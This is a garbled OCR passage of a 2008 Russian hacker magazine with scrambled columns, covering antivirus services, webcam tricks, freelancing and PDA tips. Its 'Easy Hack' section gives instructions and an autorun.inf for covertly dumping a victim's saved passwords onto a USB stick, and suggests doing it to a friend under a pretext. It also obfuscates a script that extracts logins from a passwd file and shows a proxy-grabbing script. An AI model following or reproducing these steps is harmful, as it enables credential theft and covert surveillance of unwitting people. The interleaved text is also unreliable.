• Уведомление при обнаружении сетевой атаки и ее связь на проблемных линиях, возможность связи на дистанции до семи
регистрация в журнале километров (технология Annex L), лучшую помехозащищенность,
• Управление: NetFriend, Веб-конфигуратор, TELNET, увеличение скорости передачи данных к провайдеру с 1 Мбит/с до 3,5
Мбит/с. Самое приятное, что все сетевые устройства ZyXEL, постро-
SNMP, FTP/TFTP
енные на новой платформе, поддерживаются программой NetFriend.
• Размеры:180 x 128 x 36 мм Настройка при помощи данного софта сводится к нескольким щелчкам
• Масса: 350 г без адаптера питания мыши и вводу уникальных логина и пароля — остальные настройки
полностью автоматизированы.
xàêåð 05 /113/ 08
025
>> pc_zone
Крис Касперски
Тотальный антивирус
Универсальный антивирусный центр своими руками
то время как одни пользователи держат на компьютере целый ны к virus-total’у и активно его используют.
В зоопарк различных антивирусов, конфликтующих друг с А что если создать еще более качественный сервис? Ведь virus-total при-
другом и тормозящих ПК (не говоря уже о стоимости лицензий митивен до ужаса — качество сканирования оставляет желать лучшего, не
или сложности поиска правильного «лекарства»), хакеры говоря уже о длинных «социалистических» очередях, в которых приходится
предпочитают ловить малварь самостоятельно. В крайнем случае — про- подолгу простаивать из-за частых перегрузок сервера (а все потому, что ба-
веряют подозрительные файлы на бесплатных онлайновых службах типа лансировка нагрузки и оптимизация изначально не предусматривались!).
того же www.virustotal.com. Эти же службы используются для «обкатки» На момент написания этих строк, мыщъх по заказу одной антивирусной
вирусов собственного написания на предмет обнаружения эвристически- компании (имя которой разглашать не вправе) руководит разработкой
ми анализаторами. И хотя, если верить блогу Евгения Касперского (www. онлайнового сервиса, рассчитанного на «магистральную» загрузку и
viruslist.com/en/weblog), хакеры не доверяют virus-total’у, поскольку он предоставляющего пользователям кучу всевозможных рычагов управле-
передает подозрительные файлы антивирусным компаниям и вирусы начи- ния. Естественно, исходный код к статье не прилагается, да он и не нужен,
нают палиться еще на старте, эта точка зрения отражает лишь малую часть главное — это концепт, плюс некоторые неочевидные тонкости, с которыми
действительности. Да, действительно, профессиональные разработчики придется столкнуться при «промышленных» масштабах эксплуатации.
атакующих программ и rootkit’ов проверяют их на «вшивость» исключи- Естественно, это требует широких сетевых каналов, мощных многопро-
тельно локальным способом на своих собственных машинах, предотвращая цессорных систем и еще кучу всего. Словом, без солидных финансовых
утечку информации, но… профессионалов единицы, к тому же эксперимен- вложений тут никак не обойтись. Однако никто не заставляет нас создавать
тируя с virus-total’ом, хакеры определяют общие критерии ругательства сервис планетарного масштаба и, если постараться, можно вполне уло-
антивирусов, выявляя последовательности машинных команд/вызовов житься в бюджет $2000 или даже меньше. Нам потребуется интернет-канал
API-функций, приводящих к срабатыванию эвристического анализатора. с безлимитным тарифом, чтобы злые люди не кинули нас на входящий тра-
Однажды «обломав» антивирус, хакер может многократно использовать фик, который будет весьма значительным. В качестве компьютера вполне
найденный способ обхода эвристика. Достаточно посетить любые форумы, подойдет машина с процессором Core2Duo и парой гигабайт оперативной
где обитают вирусописатели, чтобы убедиться, что они весьма неравнодуш- памяти. О проблемах с лицензированием антивирусов мы поговорим в
xàêåð 05 /113/ 08
027
>> pc_zone
А что в итоге?
Разумеется, в статье охвачены далеко не все проблемы, с которыми неиз-
При онлайновом антивирусном сканировании основная нагрузка ложится бежно столкнется всякий, попытавшийся воздвигнуть подобный онлайно-
на подсистему ввода/вывода и оперативную память. Требования к мощ- вый сервис. Но задача выполнена — мыщъх предоставил вполне закончен-
ности процессора не столь значительны (антивирусы располагались на
жестком диске и работали в режиме чистого сканера без эвристического ную, отлаженную и работоспособную схему, которая скоро будет запущена в
анализатора) промышленную эксплуатацию. z
xàêåð 05 /113/ 08
029
>> pc_zone
На что
способна
твоя Web-камера
cемь необычных применений для самой обыкновенной веб-камеры
еб-камера при всей своей простоте является девайсом от сети, а изобретать велосипед с самодельной аккумуляторной системой не
В продвинутым — позволяет получить картинку «в цифре» и в ре- хотелось. В поисках альтернативного решения пришла отличная идея, как
альном времени. Мы решили проверить, на что она способна, можно самому изготовить беспроводную камеру. Раз уж в моем коммуни-
и нашли несколько очень неожиданных применений. каторе есть Wi-Fi и двухмегапиксельная камера, почему бы не объединить
их? Еще не начав копаться в документации Windows Mobile, быстро нашел
1. Делаем беспроводную камеру из телефона или КПК готовый продукт. Утилита WebCamera Plus (www.ateksoft.com) написана как
Для выполнения одного из заданий ночной игры DozoR (www.dzzzr.ru) мне на заказ: снимая изображения с камеры смартфона или коммуникатора, она
срочно понадобилась беспроводная Wi-Fi камера. Игрушка оказалась не пересылает их на комп (на специальную серверную часть). Можно переда-
такой уж дешевой: Яндекс.Маркет однозначно указывал, что меньше, чем за вать картинку по Wi-Fi, Bluetooth или даже GPRS (не лучший вариант, мягко
3000 руб., ее не найти. Более того, всем им необходимо постоянное питание говоря) — в любом случае получается беспроводная веб-камера. Для пере-
links
О том, как сделать
из камеры прибор
ночного видения ты
сможешь прочитать
тут: www.instructables.
com/id/Making-a-
Night-Vision-Webcam.
Интересные на-
работки в области
распознавания лиц
Шпионский девайс в руках: коммуникатор передает изобра- доступны на сайте
жение по Wi-Fi на заданный IP-адрес pages.cpsc.ucalgary.
ca/~hanlen/vision/
дачи нужно лишь указать IP-адрес компьютера, на котором ус- facelinks.html
тановлена серверная часть. Надо добавить, что вместе с самой
программой на компьютер инсталлится специальный драйвер
виртуальной камеры. Таким образом, полученное изображение
можно использовать в Skype, Virtual Dub — да в какой угодно
программе, и ни одна из них не будет даже догадываться о том,
что изображение ей передается с телефона! В последней вер-
сии WebCamera Plus помимо картинки стала передавать еще и
звук. Поэтому к «случайно» забытому у тебя дома смартфону я info
бы посоветовал отнестись со всей осторожностью :). Если тебя заин-
Серверная часть WebCamera Plus принимает изображение
Даже если в мобильнике нет беспроводного модуля, ничего тересовала тема
не мешает сделать из него обычную камеру (подключив беспроводных камер,
телефон к компу по USB). По меньшей мере, это избавит тебя могу посоветовать
от необходимости покупать веб-камеру. И не спеши ругаться, один рецепт. Вместо
если у тебя устройство на базе другой платформы. Специаль- дорогостоящей Wi-Fi
но для владельцев смартфонов с ОС Symbian мы нашли еще камеры, у которой, к
один продукт, предоставляющий схожую функциональность. тому же, немаленькие
Не умея передавать данные по Wi-Fi, Mobiola Webcam (www. размеры, можно ис-
warelex.com) отлично работает по USB и Bluetooth, при этом пользовать беспро-
существуют версии для Symbian S60 и UIQ. То есть работать водную аналоговую,
все будет и с большинством смартфонов Nokia, и новинками от ценой в 1500 рублей.
Sony Ericcson. Владельцев обычных телефонов с поддержкой Приемник легко
Java также не обделили: для них есть специальная версия подключается к TV-
Mobiola Webcam Lite. Последняя, правда, умеет передавать тюнеру. Последнего
данные только по Bluetooth. если и нет, то его легко
стрельнуть у друзей.
2. Сигнализация своими руками
Вдоволь наигравшись с радиоуправляемой машинкой и UVScreenCamera
прикрепленной к ней камерой (чуть не убив и ту, и другую), мы Определив внутри окружностей движение, Webcam Zone (www.uvsoftium.ru)
Trigger выполнит соответствующие действия
задумались о более практичном применении. Беспроводная — яркий пример того,
камера в этом плане дает огромный простор для деятельности. что веб-камеру можно
Как тебе идея сделать видеоглазок для квартиры или систему применять на произ-
слежения за автомобилем, который ты оставляешь на ночь бразить изображение с камеры в системном трейе. Отправить водстве. Например,
во дворе? Да запросто! Поможет нам в этом специальная email/SMS-сообщение или выполнить какой-то HTTP-за- для подсчета батонов,
программа Webcam Zone Trigger (www.zonetrigger.com). Суть прос. В конце концов, просто запустить некоторый сценарий. сходящих с конвейе-
в том, что на любую часть изображения, передаваемого с Словом, запрограммировать можно все, что угодно. Добавлю, ра :).
веб-камеры (пусть это будет окружность с некоторым радиу- что в качестве источника изображения можно использовать
сом), можно создать так называемый триггер. Скажем, если DV-камеру, TV-тюнер, некоторые цифровые фотоаппараты и
камера «смотрит» на автомобильную стоянку перед домом, то IP-камеры.
триггеры можно поставить на каждое автомобильное место.
Далее — все прозаично. Как только в заданной зоне происхо- 3. «Узнай меня», или система
дит какая-то активность (чувствительность, продолжитель- идентификации лица
ность движения и прочие параметры, само собой, задаются А было бы здорово, если б компьютер тебя узнавал! В прямом
в настройках), сработает соответствующий триггер. Задача смысле слова. Посмотрел и понял, что к монитору подошел имен-
программы — выполнить определенное для этого триггера но ты, а не сотрудник соседнего отдела, норовящий стащить у
действие. Скажем, включить на компьютере сирену или ото- тебя что-то ценное. В общем, это и было нашей следующей идеей
xàêåð 05 /113/ 08
031
>> pc_zone
В настройках Camera Mouse 2008 можно задать чувствительноcть перемещения, а также значение таймаута, после которого будет совершен клик
info
Программы для визу-
ального распознава-
ния образов кажутся
жутко сложными. На
самом деле, почти все
они основаны на бес-
платной библиотеке
OpenCV (sourceforge.
net/projects/
opencvlibrary), в ко-
торой и реализованы
большинство сложных
Управление мышкой с помощью Hand Gesture Interface математических алго-
ритмов. А прикладные
оказалась сговорчивее и запустилась сразу, но попроси- проецируется картинка. Короче говоря, стоя рядом со спрое- программисты лишь
ла подключить вторую камеру. Позже выяснилось, что для цированным изображением, ты можешь работать на компью- грамотно используют
работы подобных программ обязательно нужны две камеры: тере, перемещая курсор мыши с помощью карандаша с ярким ее возможности.
одна отслеживает перемещения руки по вертикали, другая наконечником или лазерной указки.Клик мыши, разумеется,
— по горизонтали. Все это в реальном времени, поэтому также реализован и осуществляется в случае, если указатель
управление получается максимально интуитивным. Принцип некоторое время стоит на месте. Технология называется Point-
понятен: двигаешь рукой — двигается и курсор. По набору and-click и очень удобна. Единственный недостаток (а для
жестов совершаются разные действия: левый и правый клик, кого-то — достоинство) Mando заключается в том, что работает
перемещение объектов. Лучше это просто попробовать, для он только под никсами и конкретно графической оболочкой
чего потребуется вторая камера и яркая перчатка, надетая на KDE. Однако устанавливается без сучка и задоринки по стан-
твою руку. дартной схеме:
xàêåð 05 /113/ 08
033
>> pc_zone
В webcamXP встроен мощный детектор движения, способный отслеживать множество зон одновременно
и специальные модули, то теперь все стало намного проще. Прикольная сигнал с web-камер, видеокамер или плат видео-захвата (в том числе, TV
утилита webcamXP (www.webcamxp.com) позволяет транслировать изо- тюнеров) с максимальной частотой 30 кадров в секунду. Захваченное видео
бражения с веб-камеры в инет без настройки какого-либо оборудования. можно сохранить как в родном формате программы, так и оцифровать
Процесс конфигурации сводится к нескольким кликам мыши. Программа с помощью любого кодека, установленного в системе. Если есть жела-
определит все необходимые настройки, а потом попробует подключиться ние, можно включить отсылку определенных уведомлений при наличии
сама к себе, используя специальный сервер. Особенно выгодно webcamXP засекаемых движений перед камерой. Это позволяет использовать Active
выглядит за счет своей универсальности. Для удаленного подключения WebCam в качестве реальной системы слежения.
на клиентской стороне может использоваться все, что угодно: решение на Если вдруг окажется, что ты находишься за файрволом, обе программы мо-
базе Java, браузер с поддержкой Javascript или Flash. Последний уж точно гут оказаться бессильны. Впрочем, когда кровь из носа нужно транслиро-
есть практически на любой системе. При этом администратор может четко вать сигнал из какой-то суперзащищенной сети, прячущейся за NAT’ом и
настроить систему безопасности, создав аккаунты с различными правами файрволами, то в этой ситуации банально выручит Skype (www.skype.com)
доступа. Я уже не говорю о простой защите с помощью пароля. с его продвинутым протоколом. Не забудь в настройках (Tools Options
Еще одна похожая утилита — Active WebCam (www.pysoft.com). Помимо Video) включить автоответ для заранее созданного аккаунта, который и
трансляции в Сеть, она умеет оцифровывать видео. Эта программа снимает будешь использовать для удаленного подключения к своей камере. z
Максим Соколов
Как я стал
фрилансером
Заметки вольного стрелка
отратив несколько недель на кликание по непонятным бан- разовую работу. Намного проще (и зачастую выгоднее) отдать ее на
П нерам и участие в сомнительных партнерских программах, я фриланс — найти вольного стрелка, который знает свое дело и выполнит
понял: бесплатного сыра в жизни нет. Нет его и в интернете. задание за плату, как правило, меньшую, чем запросят в профессиональ-
Чтобы заработать деньги, надо пахать и неважно: на заводе, ном агентстве. Избавленный от необходимости создавать новое рабочее
в офисе или в Сети. На тот момент у меня были довольно широкие знания место, оформлять сотрудника по трудовому кодексу и заморачиваться с
в IT. Хотелось их развивать. Тогда я решил попробовать себя во фрилан- налоговыми органами, заказчик получает массу плюсов. Преимущества
се. Когда-то называвшиеся «внештатными работниками», фрилансеры для фрилансера тоже очевидны: вместо того, чтобы сидеть в душном
ныне востребованы как никогда. Многим работодателям просто невы- офисе, он работает, когда захочет и как захочет. И самое главное — тру-
годно брать в штат узкопрофильного специалиста, чтобы тот выполнял дится исключительно на себя, а значит, вся прибыль тоже его. Поскольку
схема устраивает обе стороны, то нет ничего удивительного, единственный тонкий момент: правила ресурса запрещают
что фриланс стал так популярен. указывать в профиле какую-либо контактную информацию. В
противном случае аккаунт быстро заблокируют.
Когда во фрилансеры?
Работать «на дядю» или на себя — каждый должен решить Работа с заказами
сам, и, возможно, для этого придется попробовать оба вари- Все проекты (задания) на бирже рассортированы по мно-
анта. Умеешь ли ты настраивать серверы, понимаешь что-то гочисленным категориям, например: С++, XML, Flash, OS.
в дизайне или можешь написать тысячи строк кода за день, Работа здесь найдется для всех: программистов, дизайнеров, info
— неважно. Было бы желание, ты и дня не проведешь без копирайтеров, системных администраторов и даже пен-тес- Фрилансеры со
дела. Хорошие фрилансеры нарасхват, и если на первых по- теров. Если человеку нужен фрилансер, он заходит на GAF и стажем зачастую со-
рах возможен некоторый дефицит заказов, то через некоторое создает проект в нужной категории. При этом указывает суть бираются в группы,
время ты непременно обзаведешься постоянными заказчика- задания, объясняет, что надо сделать и задает несколько чтобы выполнять
ми, с которыми работать выгодно и удобно. параметров проекта: статус (открытый, закрытый), а также задания сообща и,
Важно — не бояться. Попробовать свои силы можно, даже возможный бюджет. Закрытые проекты нужны в том случае, тем самым, добиться
если ты новичок. В этом случае браться лучше за самые про- когда заказчик заранее знает, с кем будет иметь дело, и сам большей эффек-
стые (и соответственно, самые низкооплачиваемые) задания, рассылает приглашения проверенным фрилансерам. Однако тивности. Тягаться
предварительно продумав решение. Таким образом, ты и без в большинстве случаев проекты открыты для всех желающих. с ними сложно, но
денег не останешься и незаметно для себя поднатореешь, А желающих, как водится, много. Исполнитель определяется можно. К тому же,
заматереешь и сможешь браться уже за более серьезные в ходе своеобразного тендера. У кого больше положительных никто не мешает
проекты. В идеале — будешь сам нанимать работников, чтобы отзывов, кто предложит лучшую денежку, кто доходчивее тебе найти помощ-
те выполняли часть кропотливой работы. Конечно, «не боять- убедит заказчика в своей компетентности — тому и флаг в ников и сколотить
ся» вовсе не означает «браться за все, авось получится». Это руки. Чтобы участвовать в тендере, необходимо подать заявку. команду самому.
очень частая ошибка, которая зачастую приводит к тому, что Просто пройтись по сотне проектов, наставить кучу ставок — и
вольный стрелок проваливается, переживая сам и серьезно ждать, пока одна из них победит, нельзя! Количество заявок Вместо www.
подставляя заказчика, у которого, вполне вероятно, нет друго- ограничено. Чтобы увеличить квоту, необходимо приобрести getafreelancer.com
го варианта и запаса времени. специальный аккаунт Gold membership. Абонентская плата с его устаревшим
составляет 12 долларов в месяц. Впрочем, эти деньги быстро интерфейсом и
Как начать? окупятся. У обычного аккаунта с каждой сделки сервис будет набором сервисов
Возникает логичный вопрос: а где взять-то эти самые зада- взимать комиссию, у Gold membership этого нет. Понятно, что многие рекомендуют
ния? Можно проспамить по базе e-mail, написать рекламу в если ты только зарегистрировался, совсем не хочется платить rentacoder.com. На
кабинке лифта, а можно запостить предложение в ЖЖ — ко- неизвестно за что. Поэтому Gold membership можно купить по- рентакодере нет
роче говоря, вариантов сколько угодно. Но чтобы фрилансеры сле первых выполненных в обычном статусе проектов, однако, ограничений на
не морочили себе голову, а работодатели могли найти их в я все же рекомендую сделать это сразу! количество бидов
любое время, были созданы так называемые фриланс-биржи. Предположим, ты нашел проект, который можешь и хочешь и платы за аккаунт,
Специальные сайты, где фрилансеры выкладывают резюме, выполнить, — самое время подать заявку на участие, то есть зато администрация
а работодатели — публикуют задания и проводят что-то типа сделать ставку, указав желаемое денежное вознаграждение взимает большой
тендера. В русской части интернета наибольшую популяр- (не может превышать заявленный заказчиком бюджет, но процент от стоимости
ность получили такие ресурсы, как free-lance.ru и weblancer. может быть меньше). Если проект открытый, есть смысл пос- работы. Рекомендуют
net (подробности во врезке). Но я с самого начала предпо- мотреть уже сделанные ставки и запросить денег чуть меньше, также elance.com.
читал сотрудничать с западными ресурсами, типа www.
getafreelancer.com (далее — GAF). Причин было несколько:
заказов там больше, оплата выше, а вероятность того, что мо-
гут кинуть, значительно ниже. Вот и сегодня я тебе расскажу,
как попробовать свои силы на западной арене, а конкретно,
площадке www.getafreelancer.com (как наиболее известной).
Набираем адрес биржи в браузере и, не пугаясь спартанского
Примеры заказов
дизайна, кликаем по кнопке Sign Up. Процедура регистрации Чтобы окончательно внести ясность, приведу несколько примеров заданий, кото-
стандартна: указываем имя пользователя и e-mail, на который рые я взял прямо с первой страницы сайта:
будет выслан код подтверждения. Далее идут опциональные • настроить почтовый сервер на базе Fedora 6 с использованием Postfix, Courier,
поля — по идее их можно проигнорировать, но если заполнить Mysql, Postfix, Fedora 6 (100$);
все правильно, указав сферу своей деятельности (скажем, • создать простой сайт с одной флеш-вставкой (300$);
XML, PHP, JavaScript), получится неплохая визитная карточка. • стенография 4‑х часового интервью (100$);
Забегая вперед, скажу, что в твоем профиле будут отображать- • переписать 2000 строк кода c Perl на Java (2000$);
ся отзывы работодателя — «фидбеки». В регистрации есть • улучшение аудио-кодека (4500$).
xàêåð 05 /113/ 08
037
>> pc_zone
чем все остальные (это не значит, что нужно жестко демпинговать). Напоми- что работа будет выполнена в срок, а это чуть ли не самое важное для
наю, что количество ставок (даже в случае Gold membership) ограничено, заказчика.
поэтому заявку нужно подавать только в тех проектах, где есть реальный Если заказчик выберет тебя в качестве исполнителя, то придет письмо
шанс выиграть. Если заявки подали уже десять разных фрилансеров, у трех «Project Bid Won», а статус проекта поменяется на «Frozen». По ссылке в
из них куча положительных фидбеков и срок выполнения у них в три раза письме нужно подтвердить свое участие — и проекту будет дан старт. Теперь
меньше, чем ты собирался предложить, то участвовать, очевидно, смысла придет письмецо от www.getafreelancer.com — «Project begins», в котором
нет. указан e-mail заказчика. Статус на странице проекта меняется на «Closed».
Представь, в заявке нужно что-то написать! Опытные фрилансеры Если у тебя нет аккаунта Gold membership, то со счета спишется комиссия
предпочитают не раскрывать козыри, поэтому пишут что-то вроде сервиса (10%, но не меньше $5). Ничего страшного, если счет уйдет в
«Please check PM» (пожалуйста, посмотрите личные сообщения), а «минус». Баланс может оставаться отрицательным до месяца. Внимание,
все подробности отправляют по внутренней почте GAF’а. Главная твоя важный момент! Чтобы застраховать себя от «кидалова», можно попросить
задача — убедить заказчика, что именно ты сможешь выполнить заказ заказчика перечислить деньги на escrow-счет (подробности во врезке).
лучше всех. Для этого в письме можно дать ссылку на свое портфо- Далее все зависит от тебя. Если выполнишь все правильно и в срок, заказ-
лио с похожими проектами, рассказать, как ты собираешься решить чик закроет проект, и деньги перечислятся тебе на счет. Если не справишь-
поставленную задачу. Вот тебе конкретный пример. Выполняя заказы ся — оплаты можно не ждать, зато работодатель наверняка впаяет тебе
средней сложности на C++, я заранее стал писать простые прототипы негативный отзыв в профайл. С таким клеймом найти проекты будет значи-
будущих приложений и отправлял их заказчику. Результат не заставил тельно сложнее. С другой стороны, грамотно выполнив заказ, ты можешь
себя ждать: 90% тендеров оставались за мной, притом, что я указывал смело просить работодателя написать о твоих заслугах. Большое количест-
максимально возможную цену. Готовый прототип — хорошая гарантия, во положительных фидбеков — твой главный козырь в ходе тендера.
На проекте GetACoder.com публикуются проекты только для программистов, но зато их очень много!
Вывод денег со счета Для удобства я рекомендую заказать дебетовую карту, которая высылается
Итак, дела пошли, ты уже выполнил несколько проектов и хочешь вывести почтой и идет около четырех недель. С ней ты сможешь снимать деньги в
деньги с внутреннего счета на GAF’е. Это можно сделать нескольки- любом банкомате или использовать ее для оплаты в магазине. Комиссия
ми способами: с помощью платежной системы PayPal, переводами при больших суммах будет значительно меньше чем, через E-Gold. Деньги
Moneybookers, на специальную дебетовую карту, посредством E-Gold выводятся с GAFа в ночь на понедельник (по нашему времени — где-то в
или банковского перевода. К сожалению, PayPal по-прежнему запрещает понедельник днем). Правда, есть нюанс, установленный правилами GAF’а:
жителям России и всему СНГ принимать деньги на свой счет, поэтому этот в первый раз деньги нужно ждать около трех недель.
вариант отпадает. Придется выбирать из оставшихся. Проще всего, конеч-
но, выводить через E-Gold с установленной комиссией в 5%. Минимальная Фрилансить или нет
сумма вывода на E-Gold составляет $30, максимальная — $250 в неделю. Решать тебе. Я знаю очень многих людей, которые совмещают фри-
Единственная загвоздка в том, что в первый раз вывод денег будет осуще- ланс и обычную работу. Есть и те, кто работает на себя постоянно. Эти
ствлен через 45 дней (антифрод система). После того, как администрация люди не ездят на Porsche Cayenne, но могут позволить себе вполне
убедится, что ты не кардер, выводящий деньги через их сервис, транзакции приличную иномарку. Они не колесят мир в поисках развлечений, но
будут осуществляться очень быстро. Напомню, что E-Gold просто обнали- упорно трудятся, зарабатывая деньги. Повторюсь, бесплатного сыра
чить в специальных обменниках или поменять на Webmoney. не бывает. z
* Журналы — участники проекта: «Страна Игр», «MAXI tuning», «Свой бизнес», «Железо», «Хакер», «Мобильные Компьютеры».
Безопасность
НОВИНКИ | БИЗНЕС | РАЗВЛЕЧЕНИЯ | ЖЕЛЕЗО | БЕЗОПАСНОСТЬ
самые современные способы
защиты
SMART
tricks
Используем
коммуникаторы
Asus на 100%
Asus P750 чем для обычного компьютера. Но не в
• Процессор: Marvell PXA270 520 МГц наших целях сегодня разбирать стандарт-
• Память: 64 Мб RAM, 256 Мб Flash ROM ные и всем доступные разработки. Куда
• Экран: диагональ 2.6”, разрешение интереснее, если ты сможешь использовать
240x320, сенсорный, подсветка, 65536 свой коммуникатор нестандартно, выжимая
цветов из него настоящий максимум. Вот наши семь
• Слоты расширения: microSD (TransFlash), рекомендаций, как это сделать.
microSDHC, SDIO
• Коммуникации: EDGE, HSDPA, Wi-Fi, Противоугонная система
802.11b/g, Bluetooth 2.0 Сделав дорогостоящую покупку всегда
• Аккумулятор: Li-Ion 1300 мАч хочется обезопасить ее. И дело тут не
• Операционная система: Microsoft Windows только в покупке чехла и защитной пленки
Mobile 6.0 Pro на экран. Как обезопасить себя от самого
• GPS: SiRFStar III, установлена программа опасного — вора? Но высокие технологии
НАВИТЕЛ НАВИГАТОР 3.1 были бы не высокими, если бы и на этот счет
• Размер: 58x113x17 мм не придумали решение — xRay PDAFinder.
• Вес: 130 грамм Если вдруг телефон окажется в чужих сетях
и будет включен с «чужой» SIM-картой, про-
грамма тут же отправит SMS на указанный
тобой номер. А в сообщении укажет: номер
телефона, IMSI-код SIM-карты, IMEI комму-
никатора, название и код сети, в которой
Коммуникатор — это не просто телефон, особенно если это коммуника- зарегистрирован телефон. Все это быстро
тор Asus. Столь мощные девайсы просто непростительно оставлять без поможет тебе и компетентным органам найти
дела, используя лишь традиционные функции вроде телефонии, почты и потерянный/сворованный телефон. Тут есть
мобильного интернета. Сегодня мы научим тебя выжимать из них максимум, одна хитрость. Если вор быстро сделает для
используя всю мощь этих устройств для упрощения твоей жизни. коммуникатора так называемый Hard Reset,
то все установленные программы будут
На рынке мобильной аппаратуры сейчас представлены самые разные тут же удалены. Выходом из этой ситуа-
телефоны, смартфоны и коммуникаторы. Конечно же, последние пред- ции является запись программы со всеми
ставляют наибольший интерес: ведь насколько же приятно иметь при настройками в постоянную память устройст-
себе девайс, на котором можно использовать практически любой софт ва. О том, как это сделать, можно подробно
— зачастую аналогичный тем программам, которые мы устанавливаем на прочитать на сайте: 4pda.ru/forum/index.
компьютеры. Для наших экспериментов мы взяли топовую модель комму- php?showtopic=58768&st=0.
никаторов Asus: сногсшибательный Asus P750. Девайс оборудован про-
цессором с частотой 520 МГц, что большая редкость, 64 Мб оперативной Больше памяти!
памяти, имеет модули Bluetooth, Wi-Fi, GPS и поддерживает сотовые сети Когда в системе остается мало памяти, ОС
третьего поколения, которые вот-вот станут доступны в России. Короче может послать всем приложением систем-
говоря, в этом коммуникаторе есть все, и мы ничем себя не ограничивали. ное сообщение WM_HIBERNATE. Каждое из
Операционная система Windows Mobile, установленная на коммуникаторах них должно освободить столько ресурсов,
Asus — это почти такая же ОС, как и обычная винда. Со своей архитекту- сколько это возможно: путем закрытия
рой, особенностями, и, конечно же, инструментарием для разработчиков ненужных окон, остановки дополнитель-
— SDK, который каждый вправе использовать по своему усмотрению. ных процессов и прочими способами. Идея
Именно поэтому программ для мобильной платформы ничуть не меньше, хорошая, но почему это сообщение стоит
Easy Hack}
Владимир «Dot.err» Савицкий Леонид «Cr@wler» Исупов леонид «R0id» стройков
Хакерские секреты
простых вещей
№1
Задача: Изменить вид PHP скрипта, оставив функциональ-
переменных и функций, а также удалении лишних символов, в результате
чего затрудняется понимание кода. Структура самой программы (последо-
вательность функций и операторов) не меняется. Процент работоспособ-
ности скриптов после обработки — порядка 70% (возможны проблемы в
скриптах, использующих ООП). В общем, кому интересно — пробуем :)».
ность на прежнем уровне 4. Открываем сохраненный скрипт и смотрим содержимое:
Решение:
Зачастую нам требуется видоизменить тот или иной двиг/сорец на ПХП. $GLOBALS[' ']="\x66\x6F\x70\x65\x6E";
Причины могут быть разные: от шифрования содержимого до нарушения $GLOBALS[' ']="\x66\x65\x6F\x66";
копирайтов. Утилы для шифрования не всегда удобны, поэтому воспользу- $GLOBALS[' ']="\x66\x67\x65\x74\x73";
емся обфускатором PHP кода. Действовать будем на конкретном примере. $GLOBALS[' ']="\x73\x74\x72\x72\x65\x76";
1. Есть подопытный PHP скрипт: $GLOBALS[' ']="\x73\x75\x62\x73\x74\x72";
$GLOBALS[' ']=”\x73\x74\x72\x72\x63\x68\x72";
$fn=fopen("E:\passwd.txt","r"); $GLOBALS[' ']="\x66\x70\x75\x74\x73";
if(!$fn) { echo("Can’t open passwd.txt");} else { $GLOBALS[' ']="\x66\x63\x6C\x6F\x73\x65";
while(!feof($fn)) { $ =$GLOBALS[' ']("E:\passwd.txt","r");
$np=fgets($fn); if(!$ ) { echo("Can’t open passwd.txt"); } else {
$str=strrev($np); while(!$GLOBALS[' ']($ )) {
$login=substr(strrchr($str,":"),1); $ =$GLOBALS[' ']($ );
$rev=strrev($login); $ =$GLOBALS[' ‘]($ );
$fp=fopen("E:\logins.txt","a"); $ =$GLOBALS[' ']($GLOBALS[' ']($ ,":"),1);
fputs($fp,"$rev\n"); $ =$GLOBALS[' ']($ );
fclose($fp); $ =$GLOBALS[' ']("E:\logins.txt","a");
} fclose($fn); $GLOBALS[' ']($ ,"$ \n");
} $GLOBALS[' ']($ );
}
Комментировать суть скрипта не буду, скажу лишь, что он выдирает логины $GLOBALS[' ']($ );
юзеров из passwd-файла. }
2. Заходим на http://taran.su/abf/ и загружаем наш скрипт. После чего
жмем батон «GO». 5. Убеждаемся в работоспособности скрипта и радуемся.
3. Сохраняем полученный скрипт. Как указано на сайте: «PHPabf beta v0.1 5а. Перед заливкой потри все комменты, ибо обфускатор не умеет с ними
это обфускатор PHP кода. Сама обфускация заключается в изменении имен работать.
№2
Задача: Быстро и незаметно слить пароли с локального
•
•
•
•
icons
Dump
nircmd.exe
autorun.inf
компа на флешку
Решение: 3. Копируем содержимое себе на флешку, не забыв про авторан:
Вопрос о создании флешки «ближнего боя» известен давно. В зависимости
от ОС, нужд и требуемых результатов он решался по-разному. Существует [autorun]
относительно простой способ подготовить носитель оперативного исполь- action=Open Files On Folder
зования. Все, что от тебя потребуется — это прямые руки и четкое соблюде- icon=icons\drive.ico
ние описанных ниже инструкций. Приступим. shellexecute=nircmd.exe execmd CALL batexe\progstart.
1. Сливаем утилу USBThief, которую мы заботливо выложили для тебя на bat
нашем DVD.
2. Распаковываем архив и смотрим содержимое папки: 4. Приходим в гости к потенциальной жертве. Улучив момент, подходим к
компу и вставляем флешку в свободный разъем. Ждем примерно минуту и
• batexe вынимаем носитель.
• Аккаунты к IM-клиентам Это далеко не полный список того, что ты можешь выловить в папке
• Мыльные аккаунты /Dump после похода в гости. Кстати, утила функционирует практически
• Сохраненные логины/пароли в ослике незаметно. Так что, не опасаясь разоблачения, можешь дать флешку
• Журнал посещений товарищу якобы, чтобы слить у него музыки/софта.
• Информация об ОС, апдейтах, лицензиях, etc
№3 while(!feof($site_fd))
{
$str = "";
$str = fgets($site_fd, 1024);
if (preg_match($mask, $str, $ip))
Задача: Награбить проксиков с веба {
Решение: echo $ip[0] . "<br>";
Иногда одного-двух проксиков бывает недостаточно. Это может быть вы- }
звано особенностью софта или поставленной задачей. Требуются большие }
прокси-листы, но отдавать за них деньги из собственного кармана не очень }
приятно. Можно обратить внимание на паблик-прокси. Они отлично подой- }
дут для использования в сканерах (и другом полезном софте). Возникает
лишь одна проблема — сбор проксиков с веба. 2. Товарищ _3lf заботливо написал хтмл-форму для удобной заливки фай-
1. Работать будем со скриптом proxygrabber.php: лов с линками на прокси-листы (лежит вместе со скриптом на нашем DVD).
3. Заливаем граббер на сервер, указываем файл с линками на прокси-лис-
set_time_limit(0); ты (напарсишь в Гугле без особых проблем) и жмем «Start». Файл должен
иметь вид:
if(!isset($_POST['filename'])) { exit(0); }
http://www.site.com/list1.html
$mask = '/[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0- http://www.site.com/list2.html
9]{1,3}:[0-9]+/'; http://www.site.com/list3.html
http://www.site2.com/list1.html
$fd = fopen($_POST['filename'], "rt") or die("Can’t open http://www.site3.com/list2.html
file"); http://www.site4.com/list3.html
$site_list = explode("\n", fread($fd, 9999));
foreach ($site_list as $site) 4. Собственно, все. Довольствуемся результатом.
{ Скрипт достаточно шустрый, однако ты вполне можешь замутить много-
